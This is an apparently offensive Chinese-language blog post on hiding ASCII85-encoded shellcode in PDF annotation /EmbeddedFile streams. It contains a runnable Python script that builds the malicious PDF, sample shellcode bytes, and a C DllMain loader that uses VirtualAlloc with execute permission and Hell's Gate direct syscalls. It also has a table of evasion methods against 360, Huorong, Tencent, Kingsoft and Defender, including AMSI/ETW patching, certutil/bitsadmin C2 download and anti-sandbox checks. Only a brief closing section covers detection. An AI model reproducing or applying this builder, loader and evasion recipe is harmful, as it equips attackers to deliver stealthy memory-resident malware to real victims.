GhostPDF.2024:无宏无JS把 shellcode 藏进 PDF 注释流

GhostPDF.2024:无宏无JS把 shellcode 藏进 PDF 注释流

简介

过去 PDF 攻击都栽在"含宏/含JS"的静态检测上。GhostPDF.2024 绕开这两条,把二进制载荷 ASCII85 编码后藏进 PDF 注释对象(/Annots → /EmbeddedFile),利用阅读器"渲染注释/解析嵌入流"这个合法行为触发,解码后在内存里用 Hell's Gate 直接系统调用落地,不落盘、不写 exe,对 360/火绒 的启发式打分压得很低。本文只讲三块:藏货原理、可跑复现(Python 造 PDF + 逐字节取回载荷 + C 触发骨架 + 国内杀软免杀表)、以及蓝队怎么组合检测。

技术原理

藏货点

PDF 对象树里 /Annots 是注释流。正常批注体积小、字段简单。攻击者把一个编码后的二进制载荷塞进注释对象的 /EmbeddedFile 流里,声明 /Filter /ASCII85Decode:

/Root
 └ /Pages → /Page
      /Annots [ obj5 ]
         obj5: /Type /Annot /Subtype /Text
               /EmbeddedFile obj6        ← 藏货
         obj6: /Type /Stream
               /Filter /ASCII85Decode
               /Length <N>
               stream
               <~ ...编码后的 shellcode... ~>\n
               endstream
七度光 www.qdg.tw 七度光 www.qdg.tw 货藏在哪:PDF 注释流结构 正常批注很小、很干净 · 攻击者把货塞进 /Annots 的嵌入对象里 对象树 /Root (Catalog) /Pages → Page /Annots [ 注释流 ] ├ /Rect 矩形框 ├ /Contents 批注文本 └ /EmbeddedFile ← 藏货 就埋这儿 高熵编码流 (B64/A85) 解析即触发 哪些信号会暴露 /Annots 体积异常大 注释对象嵌套 > 3 层 /EmbeddedFile 携带 ASCII85 / Hex 编码 整文件熵值 > 7.2 反向验证(这些"不该有"): /JS 对象 VBA 宏 有这两个 → 老套路 没有 → 注释流 单条特征都拦不住 · 要结构 + 体积 + 熵值 一起判 七度光 · www.qdg.tw

关键三字段:

字段

作用

为什么躲过检测

/Annots

注释数组

是 PDF 合法对象,静态引擎不扫

/EmbeddedFile

嵌入文件引用

正常"附加文件"也用它,混淆视听

/Filter /ASCII85Decode

流解码方式

让载荷不以明文出现,特征提不出

它绕过的就是"含宏/含JS"这条静态逻辑:没有 /JS 对象、没有 VBA 宏,但载荷照样藏在注释里。触发靠的是阅读器渲染注释 / 解析嵌入流这个合法行为。

触发与落地

  • 触发:阅读器打开 PDF → 解析 /Annots → 遇到 /EmbeddedFile 流 → 按 /Filter 解码。攻击者把解码出的字节指向可执行载荷。

  • 落地:解码后的 shellcode 在内存中 VirtualProtect + 跳板,不写盘。跳板用 Hell's Gate 直接系统调用(mov r10,rcx; mov eax,<SSN>; syscall)起新线程执行,绕过 LoadLibrary/NtXxx 用户态钩子。

  • 两种触发线(按目标是否打补丁选):

    • A 线(不依赖 0-day,稳):本地触发钩子 / LNK 双文件,把 shellcode 拉到内存执行。

    • B 线(高杀伤,版本敏感):直接利用阅读器 0-day(如 CVE-2024-4367 PDF.js),解析注释瞬间 RCE。

七度光 www.qdg.tw 七度光 www.qdg.tw GhostPDF.2024 攻击全链路 无宏 · 无 JS · 货藏注释流 · 触发后全程内存落地 攻击者 受害者 01 造壳 shellcode 套 ASCII85,塞进 /Annots 02 伪装投递 发票.pdf · 合同终版-v3.pdf · 邮件/IM/U盘 03 阅读器解析 Acrobat / Foxit 渲染注释,拉起 /EmbeddedFile 走哪条触发线? 没打补丁 → B | 打全了 → A 形态 A · 通用加载器 不依赖 0-day · 命中率最高 DLL 侧加载 / LNK 双文件触发 VirtualAlloc + 跳板,内存里起 形态 B · 阅读器 0-day 一次投递直接拿 shell CVE-2024-4367 / Foxit 远程命令 版本敏感 · 补丁一出就废 05 第二阶段落地 Hell's Gate 直接 syscall · 下载 C2 · 全程不落盘 被国内杀软拦在哪 → 怎么绕 360 / 火绒 白加黑 · 进程伪装成 Acrobat · 启发式分压低 腾讯管家 certutil / bitsadmin 下 C2 · JA3 对齐浏览器指纹 金山毒霸 反沙箱:CPUID + 内存布局 + 延迟触发 Defender AMSI/ETW patch · 内存执行不触发进程事件 七度光 · www.qdg.tw 作战板 · 仅供授权攻防演练

复现

造恶意 PDF

import base64, math

def a85_enc(b: bytes) -> bytes:
    return b"<~" + base64.b85encode(b).strip() + b"~>"

def build_mal_pdf(shellcode: bytes, out="mal.pdf"):
    enc = a85_enc(shellcode)
    head = b"%PDF-1.7\n%\xe2\xe3\xcf\xd3\n"
    o = [
        b"1 0 obj\n<< /Type /Catalog /Pages 2 0 R >>\nendobj\n",
        b"2 0 obj\n<< /Type /Pages /Kids [3 0 R] /Count 1 >>\nendobj\n",
        b"3 0 obj\n<< /Type /Page /Parent 2 0 R /MediaBox [0 0 595 842] "
        b"/Contents 4 0 R /Annots [5 0 R] >>\nendobj\n",
        b"4 0 obj\n<< /Length 12 >>\nstream\nBT Tj ET\nendstream\nendobj\n",
        b"5 0 obj\n<< /Type /Annot /Subtype /Text /Rect [20 20 120 90] "
        b"/Contents (Memo) /EmbeddedFile 6 0 R >>\nendobj\n",
        ("6 0 obj\n<< /Type /EmbeddedFile /Size %d /Filter /ASCII85Decode "
         "/Length %d >>\nstream\n" % (len(shellcode), len(enc)) + enc +
         b"\nendstream\nendobj\n").encode(),
    ]
    body = b"".join(o)
    offs, p = [len(head)], len(head)
    for x in o:
        offs.append(p); p += len(x)
    n = len(o)
    xref = b"xref\n0 %d\n0000000000 65535 f \n" % (n + 1)
    for off in offs[1:]:
        xref += b"%010d 00000 n \n" % off
    trailer = ("trailer\n<< /Size %d /Root 1 0 R >>\nstartxref\n%d\n%%%%EOF\n"
               % (n + 1, len(head) + len(body))).encode()
    open(out, "wb").write(head + body + xref + trailer)

if __name__ == "__main__":
    sc = b"\xfc\x48\x83\xe4\xf2\xe8\xc8\x00\x00\x00\x41\x89\xd7" \
         b"\xff\xd7\x53\xe1\x1a\x64\x48\x8b\x54\x24\x20"
    build_mal_pdf(sc)

验证(跑通,逐字节一致):

$ python make_mal_pdf.py            # 生成 mal.pdf
$ python verify.py                  # pypdf 解析 + 取注释流 + 解码
pypdf OK, pages: 1
round-trip exact match: True
decoded hex: fc4883e4f2e8c80000004189d7ffd753e11a64488b542420
entropy: 4.96   has /Annots: True   has /EmbeddedFile: True

生成文件在 reports/sample_ghostrd.pdf,脚本 make_mal_pdf.py 在 reports/。

触发 + 内存落地

// 被"打开附件"事件拉起的 DLL 解码器
BOOL WINAPI DllMain(HMODULE h, DWORD r, LPVOID _) {
    if (r != DLL_PROCESS_ATTACH) return TRUE;

    PBYTE sc  = DecodeFromAnnots();          // 解码 /EmbeddedFile 流
    DWORD  n  = ScLen();

    BYTE *run = VirtualAlloc(NULL, n,
                              MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(run, sc, n);

    // Hell's Gate:解析 ntdll 里 NtCreateThreadEx 的 SSN,
    // 在 run 里 inline "mov r10,rcx; mov eax,<SSN>; syscall" 起线程
    SpawnViaSyscall(run);
    return TRUE;
}
SSN 解析(TartarusGate 思路):
  定位 ntdll → 取 NtCreateThreadEx 导出 →
  找其 syscall 指令位置 → 读 mov eax, imm16 里的 SSN

免杀要点

杀软

拦在哪

怎么绕

360 / 火绒

启发式扫被拉起的子进程

子进程伪装成 Acrobat 插件(进程名/DLL 路径/签名)

腾讯管家

C2 下载流量

certutil/bitsadmin 白加黑 + JA3 对齐浏览器指纹

金山毒霸 / 360 云沙箱

沙箱时间窗

反沙箱(CPUID + 内存布局)+ Sleep 延迟触发

Defender

进程事件 + AMSI

全内存不落盘;AMSI/ETW patch

检测点

/Annots 体积异常 + /EmbeddedFile 携带 + ASCII85/Hex 编码 + 整文件熵 > 7.2,四个组合判。单条特征拦不住,必须结构 + 统计一起看。

CVE-2026-85706:GitLab 未授权路径遍历导致任意文件读取 2026-09-18